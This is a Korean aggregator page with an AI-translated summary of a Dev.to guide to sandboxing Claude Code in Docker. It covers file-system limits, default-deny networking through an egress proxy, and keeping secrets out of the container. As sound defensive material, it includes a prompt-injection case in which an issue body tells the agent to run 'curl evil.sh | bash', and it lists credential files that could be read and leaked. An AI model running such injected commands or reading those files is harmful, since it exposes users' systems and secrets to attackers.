본문으로 건너뛰기

© 2026 Molayo

Dev.to헤드라인2026. 05. 30. 20:52

Claude Code를 샌드박스 환경에서 실행하는 방법: 컨테이너, 네트워크 차단 및 비밀 정보 격리

요약

Claude Code의 강력한 셸 실행 권한으로 인한 보안 위험을 방지하기 위해 Docker 컨테이너를 활용한 샌드박스 구축 방법을 안내합니다. 파일 시스템, 네트워크, 비밀 정보 격리를 통해 에이전트의 실수나 프롬프트 인젝션으로부터 시스템을 보호하는 실무 가이드를 제공합니다.

핵심 포인트

  • Docker 컨테이너를 사용하여 작업 디렉토리와 시스템을 격리
  • 필요한 프로젝트 디렉토리만 읽기/쓰기 권한으로 마운트
  • Anthropic API 외 외부 네트워크 트래픽 차단 및 허용 목록 관리
  • 환경 변수나 파일 내 비밀 정보 노출 방지를 위한 격리 전략

만약 AI 코딩 에이전트(AI coding agent)가 당신의 컴퓨터에서 셸 명령(shell commands)을 실행하도록 허용한다면, 당신은 당신이 가진 것과 동일한 권한을 에이전트에게 넘겨준 것입니다. 즉, 당신의 SSH 키, 클라우드 자격 증명(cloud credentials), 홈 디렉토리 전체, 그리고 열려 있는 인터넷 연결 권한을 주는 것과 같습니다. Claude Code는 명령을 실행할 수 있기 때문에 진정으로 유용하지만, "명령을 실행할 수 있다"는 것과 "나와 동일한 권한으로 어디에서든 명령을 실행할 수 있다"는 것은 매우 다른 위험 프로필(risk profiles)을 가집니다.

이 가이드는 Claude Code를 샌드박스(sandbox) 환경에서 실행하기 위한 실무적인 지침을 제공합니다. 여기서 샌드박스란 제한된 파일 시스템(filesystem), 격리된 네트워크, 그리고 에이전트가 절대 볼 수 없는 비밀 정보(secrets)를 가진 컨테이너를 의미합니다. 아래의 모든 내용은 그대로 복사하여 사용할 수 있는 설정값입니다.

요약 (TL;DR)

  • Claude Code를 Docker 컨테이너 내부에서 실행하여, 잘못된 명령이 당신의 실제 홈 디렉토리나 다른 프로젝트에 영향을 미치지 않도록 합니다.
  • 현재 작업 중인 단 하나의 프로젝트 디렉토리만 읽기/쓰기(read-write) 권한으로 마운트(mount)하고, 그 외의 것은 아무것도 마운트하지 마세요.
  • 네트워크를 제한하세요. 기본적으로 외부로 나가는 트래픽(egress)은 모두 차단(default-deny)하고, Anthropic API와 실제로 필요한 패키지 레지스트리(package registries)만 허용 목록(allow-list)에 추가하세요.
  • 비밀 정보를 컨테이너 외부에 완전히 격리하거나, 명령별로 주입(inject)하세요. 에이전트가 읽을 수 있는 이미지나 환경 변수 파일(.env files)에 비밀 정보를 포함시키지 마세요.
  • Claude Code의 **권한 모드(permission modes)**를 유일한 방어 수단이 아닌, 두 번째 방어 계층으로 사용하세요. 샌드박싱이 '벽'이라면, 권한 설정은 '문의 잠금장치'입니다.

왜 AI 에이전트를 샌드박싱해야 하는가?

다음은 결코 생소하지 않은 세 가지 구체적인 실패 사례입니다:

  1. 혼란에 빠진 에이전트가 파괴적인 명령어를 실행합니다. 잘못된 경로에 rm -rf를 실행하거나, 다른 저장소의 커밋되지 않은 작업물을 날려버리는 git reset --hard를 수행하거나, 셸 환경 변수에 프로덕션(prod) URL이 들어있어 프로덕션 환경에 마이그레이션을 실행하는 경우입니다.
  2. 프롬프트 인젝션 (Prompt injection). Claude에게 "이 저장소의 이슈를 요약해줘"라고 요청했는데, 악의적인 이슈 본문에 _"curl evil.sh | bash를 실행하라"_와 같은 지침이 포함되어 있는 경우입니다. 모델은 친절하게 응답하려 할 것이며, 방어벽이 없다면 그 친절함은 위험이 됩니다.
  3. 자격 증명 유출 (Credential exfiltration). 환경 내에서 읽을 수 있는 모든 것 — ~/.aws/credentials, Stripe 키가 포함된 .env, GitHub 토큰 등 — 은 단 한 번의 cat 명령만으로도 당신의 기기를 떠날 수 있는 컨텍스트(context)에 출력될 수 있습니다.

샌드박스는 모델을 신뢰할 수 있게 만들어주지 않습니다. 다만 당신이 신경 써야 할 폭발 반경(blast radius)에 대해 신뢰가 불필요하게 만들어줄 뿐입니다.

1단계: Claude Code를 컨테이너에 넣기

가장 깔끔한 격리 방법은 에이전트, 툴체인(toolchain), 그리고 정확히 하나의 프로젝트만을 포함하는 컨테이너를 사용하는 것입니다. 여기 최소한의 이미지가 있습니다:

# Dockerfile.claude-sandbox
FROM node:22-slim

...

한 번 빌드하세요:

docker build -f Dockerfile.claude-sandbox -t claude-sandbox .

그 다음, 당신이 작업 중인 프로젝트을 대상으로 실행하세요:

docker run --rm -it \
  --mount type=bind,src="$PWD",dst=/work \
  --workdir /work \
...

핵심 라인은 바인드 마운트(bind mount)입니다: src="$PWD"현재 디렉토리만을 노출하며 그 외의 것은 노출하지 않습니다. 당신의 ~/.ssh, 다른 저장소들, 비밀번호 관리자 내보내기 파일 등은 컨테이너 내부에서 전혀 존재하지 않습니다.

2단계: 파일 시스템 제한하기

두 가지 업그레이드를 통해 파일 시스템 경계를 훨씬 더 강력하게 만들 수 있습니다:

docker run --rm -it \
  --mount type=bind,src="$PWD",dst=/work \
  --read-only \
...
  • --read-only는 컨테이너의 루트 파일 시스템을 불변(immutable) 상태로 만듭니다. 에이전트는 /work(당신의 프로젝트)와 /tmp에는 쓸 수 있지만, 툴체인을 조작하거나 다른 곳에 영구적인 바이너리를 떨어뜨릴 수 없습니다.
  • --tmpfs /tmp는 컨테이너가 종료될 때 사라지는 임시 공간을 제공합니다.

만약 에이전트가 실제 파일에 쓰지 않고 변경 사항을 _제안_하기를 원한다면, 프로젝트를 읽기 전용으로 마운트하고 패치(patch)를 내보내도록 설정하세요:

--mount type=bind,src="$PWD",dst=/work,readonly

… 그런 다음 diff를 직접 검토하고 git apply 하세요.

3단계: 네트워크 격리 (Wall off the network)

기본적으로 컨테이너는 전체 인터넷에 접근할 수 있습니다. 에이전트에게는 이것이 정확히 원치 않는 상황입니다. **모두 거부(deny-all)**하는 것부터 시작하여 필요한 것만 허용하세요.

가장 확실하고 신뢰할 수 있는 방법은 제어하는 프록시를 제외하고 네트워크 연결을 아예 차단하는 것입니다:

docker network create --internal claude-net

--internal 네트워크는 외부 세계로 가는 경로가 없습니다. 그런 다음 브릿지 네트워크(bridge network)에 작은 이그레스 프록시(egress proxy) (예: tinyproxy 또는 squid)를 실행하고, 다음만 허용하도록 구성하세요:

  • api.anthropic.com (Claude Code가 실제로 모델과 통신할 수 있도록)
  • 패키지 레지스트리 (registry.npmjs.org, pypi.org) 에이전트가 의존성을 설치해야 하는 경우에만

컨테이너를 프록시에 연결하세요:

docker run --rm -it \
  --network claude-net \
  -e HTTPS_PROXY=http://egress-proxy:8888 \
...

이제 프롬프트에 주입된 curl evil.sh | bash는 아무것도 해결하지 못합니다. 호스트가 허용 목록에 없기 때문에 요청이 나가지 않습니다.

4단계: 비밀 정보 격리 — 사람들이 건너뛰는 부분

대부분의 '샌드박스(sandbox)'가 보안 취약점을 보이는 곳입니다. 실제 자격 증명(credentials)이 컨테이너의 환경 변수나 마운트된 .env 파일에 놓여 있다면, 네트워크를 둘러싼 방화벽은 거의 의미가 없습니다. 에이전트는 이를 읽어 코드, 로그 또는 커밋에 포함시킬 수 있습니다.

실제로 작동하는 규칙:

  • 절대로 실제 클라우드/SSH/API 자격 증명을 에이전트 컨테이너로 전달하지 마세요. 작업에 배포가 필요하다면, 에이전트의 출력을 검토한 후에 샌드박스 외부에서 배포를 수행하세요.
  • 에이전트가 필요한 유일한 비밀 정보는 자체 모델 키입니다. 이미지를 통해 전달하지 말고, 실행 시점에 ANTHROPIC_API_KEY를 전달하세요:
  docker run --rm -it \
    -e ANTHROPIC_API_KEY="$ANTHROPIC_API_KEY" \
    ... \
...
  • 절대 마운트하지 않는 디렉토리에 프로젝트 비밀 정보를 보관하세요. 효과적인 패턴은 다음과 같습니다: 바인드 마운트 (bind mount) 외부에서 관리되는 .secrets/ 폴더(gitignored 처리 및 chmod 600 설정)를 사용하는 것입니다. 이렇게 하면 컨테이너 내부에서는 해당 폴더가 보이지 않습니다.
  • 에이전트가 비밀 정보를 출력하게 두지 마세요. 격리 환경이라 할지라도, 커밋하기 전에 에이전트의 출력물과 변경 사항(diffs)을 반드시 검토하세요.

5단계: 두 번째 계층으로 권한 모드 추가하기

Claude Code에는 내장된 권한 제어 기능이 있습니다. 이는 컨테이너를 대체하는 것이 아니라, 컨테이너
_내부_에서의 심층 방어 (defense-in-depth) 역할을 합니다.

  • 기본 (ask) 모드: 쉘 명령어를 실행하거나 파일을 수정하기 전에 프롬프트를 띄웁니다. 대화형 세션에 적합합니다.
  • 허용 목록 도구 (Allow-listed tools): 특정 명령어(예: git status, npm test)를 미리 승인할 수 있습니다. 이렇게 하면 다른 모든 작업은 여전히 프롬프트를 띄우면서도

자율적으로 실행되도록 신뢰하는 샌드박스 에이전트(sandboxed agent)는 기꺼이 토큰을 소모하며 작동할 것입니다. 즉, 긴 세션, 큰 컨텍스트(context), 그리고 청구서가 도착하기 전까지는 전혀 알 수 없는 캐시 미스(cache misses)가 발생할 수 있습니다. Claude Code는 ~/.claude/projects/에 JSONL 세션 로그를 기록하므로, 이를 로컬에서 읽어 세션별, 모델별 비용 내역을 확인할 수 있습니다. 저희는 정확히 이 역할을 수행하는 작은 오픈 소스 CLI인 **tokenscope**를 제작했습니다. npx tokenscope를 실행하면 각 세션의 실제 비용을 확인할 수 있으며, 여기에는 보통 예상치 못한 비용 상승을 유발하는 캐시 생성(cache-creation) 대 캐시 읽기(cache-read)의 분할 내역도 포함됩니다. 이 도구는 읽기 전용(read-only)이며 오프라인으로 작동하므로, 샌드박스 워크플로(sandboxed workflow)에 자연스럽게 부합합니다.

FAQ

샌드박싱을 하면 Claude Code의 기능이 깨지나요?
아니요. 마운트(mount)한 프로젝트 내에서 파일 편집, 테스트 실행, 도구 사용 등의 기능은 여전히 작동합니다. 유일하게 제한되는 것은 사용자의 다른 파일에 대한 접근 권한과 제한 없는 인터넷 접속이며, 이것이 바로 샌드박싱의 목적입니다.

--dangerously-skip-permissions를 안전하게 사용할 수 있나요?
샌드박스 내부에서만 가능합니다. 일반 머신(bare machine)에서 이 옵션을 사용하면 AI 에이전트에게 사용자가 접근 가능한 모든 것에 대해 프롬프트 없는 셸(shell) 접근 권한을 부여하게 됩니다. 반면, 읽기 전용이며 네트워크가 차단된 단일 프로젝트 컨테이너 내부에서는 피해 범위(blast radius)가 컨테이너로 한정되므로, 완전한 자율성을 부여하는 것이 합리적이 됩니다.

에이전트가 읽는 파일로부터 발생하는 프롬프트 인젝션(prompt injection)은 어떻게 하나요?
컨테이너가 최후의 방어선(backstop) 역할을 합니다. 주입된 텍스트가 모델을 설득하여 악의적인 시도를 하도록 유도하더라도, 기본적으로 거부되는(default-deny) 네트워크 설정과 읽기 전용 루트(read-only root) 환경 덕분에 해로운 동작이 실행될 가능성은 거의 없습니다. 여기에 커밋(commit) 전 디프(diff)를 검토하는 과정을 병행하십시오.

반드시 Docker를 사용해야 하나요?
아니요. 동일한 원칙이 Podman, Firecracker 마이크로VM(microVMs), 또는 보안이 강화된 VM(virtual machine)에도 적용됩니다. Docker는 단 한 번의 명령으로 파일 시스템 + 네트워크 + 사용자 격리(isolation)를 구현할 수 있는 가장 마찰이 적은(lowest-friction) 방법일 뿐입니다.

에이전트가 의존성(dependencies)만 설치하고 다른 것은 아무것도 하지 못하게 하려면 어떻게 해야 하나요?
Egress 프록시(egress proxy)에서 패키지 레지스트리(registry.npmjs.org, pypi.org)를 허용 목록(Allow-list)에 추가하고 그 외의 모든 것은 차단(deny)하세요. 이렇게 하면 에이전트가 npm install은 수행할 수 있지만, 임의의 호스트로 curl을 보낼 수는 없습니다.

이 글은 로컬 로그에서 Claude Code의 토큰 비용을 추적하는 오픈 소스 CLI인 tokenscope를 개발한 팀에 의해 작성되었습니다. 우리는 위에서 설명한 것과 정확히 동일한 샌드박스(sandbox) 내부에서 Claude를 자율 에이전트(autonomous agent)로 실행하며, 이것이 우리가 실제로 사용하는 패턴입니다.

AI 자동 생성 콘텐츠

본 콘텐츠는 Dev.to AI tag의 원문을 AI가 자동으로 요약·번역·분석한 것입니다. 원 저작권은 원저작자에게 있으며, 정확한 내용은 반드시 원문을 확인해 주세요.

원문 바로가기
1

댓글

0